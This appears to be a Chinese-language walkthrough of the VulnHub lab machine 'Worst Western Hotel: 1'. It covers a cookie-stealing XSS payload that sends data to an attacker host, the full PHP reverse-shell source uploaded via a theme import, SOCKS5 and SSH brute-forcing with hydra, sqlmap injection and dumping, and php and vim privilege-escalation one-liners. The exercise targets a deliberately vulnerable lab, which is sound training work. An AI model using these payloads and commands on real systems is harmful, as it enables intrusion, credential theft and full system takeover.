準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:Worst Western Hotel: 1,下載地址:https://download.vulnhub.com/worstwesternhotel/HotelWW.ova,下載後直接vbox開啟即可。
知識點:sql注入、socks5 代理、xss、proxychains、檔案上傳、shell反彈、php提權、vim提權、hydra爆破。
感悟:這個靶場沒有特別難的地方,但是涉及的東西是真的多,這個靶機收穫還是挺大的,雖然花費了不少時間。
一:資訊收集:
使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.31.171,顯示開放了80埠、1080埠,開啟了http服務、socks5服務。
存取web服務時,跳轉到:http://prime.worstwestern.com/網站,因此進行dns解析。win:開啟C:\Windows\System32\drivers\etc\hosts檔案,linux:開啟/etc/hosts檔案,新增192.168.31.171 prime.worstwestern.com。
使用dirsearch進行目錄掃描,命令:dirsearch -u http://192.168.31.171 -e *,發現README.md檔案、config.txt檔案、登入頁面:http://192.168.31.171/adminpanel/等檔案。
在README.md檔案中發現預設密碼: [email protected]/demodemo,在config.txt檔案中發現一組賬戶和密碼:Prime/temppassword和一個網段:192.168.1.0/24,但是告訴我們密碼會定期更改。使用這兩組賬戶進行進行嘗試登入,均登入失敗。因此猜測是socks5服務的賬戶和密碼資訊。
使用hydra對socks5的密碼進行爆破,命令:hydra -l Prime -P /usr/share/wordlists/rockyou.txt socks5://192.168.31.171,成功獲得socks5服務的賬戶和密碼資訊:Prime/tinkerbell1。
在proxychains的組態檔:/etc/proxychains4.conf中開啟 dynamic_chain並新增 socks5 代理。
使用proxychains掃描下之前發現的一個網段,命令:proxychains nmap -sT -Pn -p22,80,443 192.168.1.0/24,發現存活主機:192.168.1.124。
使用nmap對192.168.1.124進行掃描,顯示其開啟了80埠、443埠。
使用proxychains firefox開啟火狐瀏覽器,如果出現如下錯誤,就執行:chown -R root:root /home/kali/.Xauthority。
存取:http://192.168.1.124頁面,返回一個登入頁面。
利用xss漏洞給獲取cookie資訊,payload:username=<script>var x=new Image();x.src="http://192.168.31.64:8000?mycookies="+document['cookie'];document.body.appendChild(x);</script>&password=1,192.168.31.64是kali的地址(開啟了web服務)。
然後修改cookie資訊,再次存取:http://192.168.1.124頁面。可以存取該頁面,但是圖片沒顯示出來。但是在其原始碼資訊中發現特殊資訊: src="4063830e548b8aea3586473c668aac826516be33/loading.gif"。
因此存取下:view-source:http://192.168.1.124/4063830e548b8aea3586473c668aac826516be33/c49675b5b5ef6ac738587d12051b607b13c78c79.jpg(替換上面的src),在其圖片中獲得一組賬戶和密碼資訊:peterg/Birdistheword。
因為nmap掃描時只開啟了80埠和1080埠,因此賬戶密碼資訊只能是80埠的,但是web頁面登入時使用者名稱是郵箱資訊,所以在使用者名稱後新增郵箱進行登入測試,賬戶資訊:[email protected]:Birdistheword。
登入到系統之後找尋下可以進行檔案上傳的地方或存在隱藏的shell檔案,然後發現了Preferences/theme主題可以進行匯入匯出,那我們就可以先匯出主題(使用kali匯出,如果使用win會出錯),然後寫入後門檔案getShell.php在上傳,目錄:/themes/hotel-reservation-theme/。
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.31.27';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
將shell指令碼寫入到主題之後,將主題匯入到系統,但是上傳的時候,告訴我們主題已經存在,那我們就需要修改下原來主題的名稱。修改後在匯入就可以成功匯入。
成功上傳getShell.php檔案後,使用nc開啟對6688埠的監聽,然後存取:http://prime.worstwestern.com/themes/hotel-reservation-theme/getShell.php,成功獲得shell許可權。
升級下shell:python -c 'import pty;pty.spawn("/bin/bash")';,然後在/home/qloapps目錄下發現Flag1.txt檔案,存取該檔案,成功獲得flag值。
獲取shell許可權後發現主機ip地址為:192.168.0.100。
那就掃描下192.168.0.0網段,命令:proxychains nmap -sn 192.168.0.0/24,發現主機ip:192.168.0.1。
使用nmap對192.168.0.1進行掃描,顯示其開啟了22埠、80埠、443埠,開啟了ssh服務、http服務、https服務。
使用proxychains firefox(root許可權)命令開啟火狐瀏覽器存取下80埠(同原來的80埠一樣)和443埠。
在443埠使用萬能密碼(' or 1=1--+)直接就可以登入,但是系統裡沒啥有用的利用資訊,那就使用sqlmap跑一下資料。
直接在登入頁面進行sql注入:proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms --dbs,需要輸入:email=1&password=2&login=submit,其餘yes即可。
然後通過命令:proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm --dump(比較慢)獲取全部資料或通過以下步驟逐步獲取資料。
proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm --tables
proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms -D crm -T user --dump
將賬戶資訊、郵箱資訊整理成賬戶名本然後密碼整理成密碼本,使用hydra進行爆破,命令:proxychains hydra -L uname -P passwd ssh://192.168.0.1,成功獲得賬戶資訊:peterg:TheBirdIsTheWord。
使用獲得的賬戶和密碼資訊進行ssh連線,成功獲得shell許可權。然後在/home/peterg目錄下發現Flag2.txt檔案,讀取該檔案成功獲得flag值。
檢視下當前賬戶是否存在可以使用的特權命令或檔案:sudo -l,不行。然後查詢下具有特殊許可權的檔案,也不行。
那就直接上傳指令碼吧,命令:wget http://192.168.31.62:8000/LinEnum.sh,然後執行該指令碼(賦予執行許可權)。
查詢下可以利用的提權命令,發現php、vim可以進行提權
檢視php的提權方式,命令:CMD="/bin/sh" /usr/bin/php7.3 -r "posix_setuid(0); system('$CMD');"。獲得root許可權後在/root目錄下發現Flag3.txt,讀取該檔案成功獲得flag值。
檢視vim的提權方式,命令:/usr/bin/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',執行完之後會彈出新的視窗,獲得root許可權後在/root目錄下發現Flag3.txt,讀取該檔案成功獲得flag值。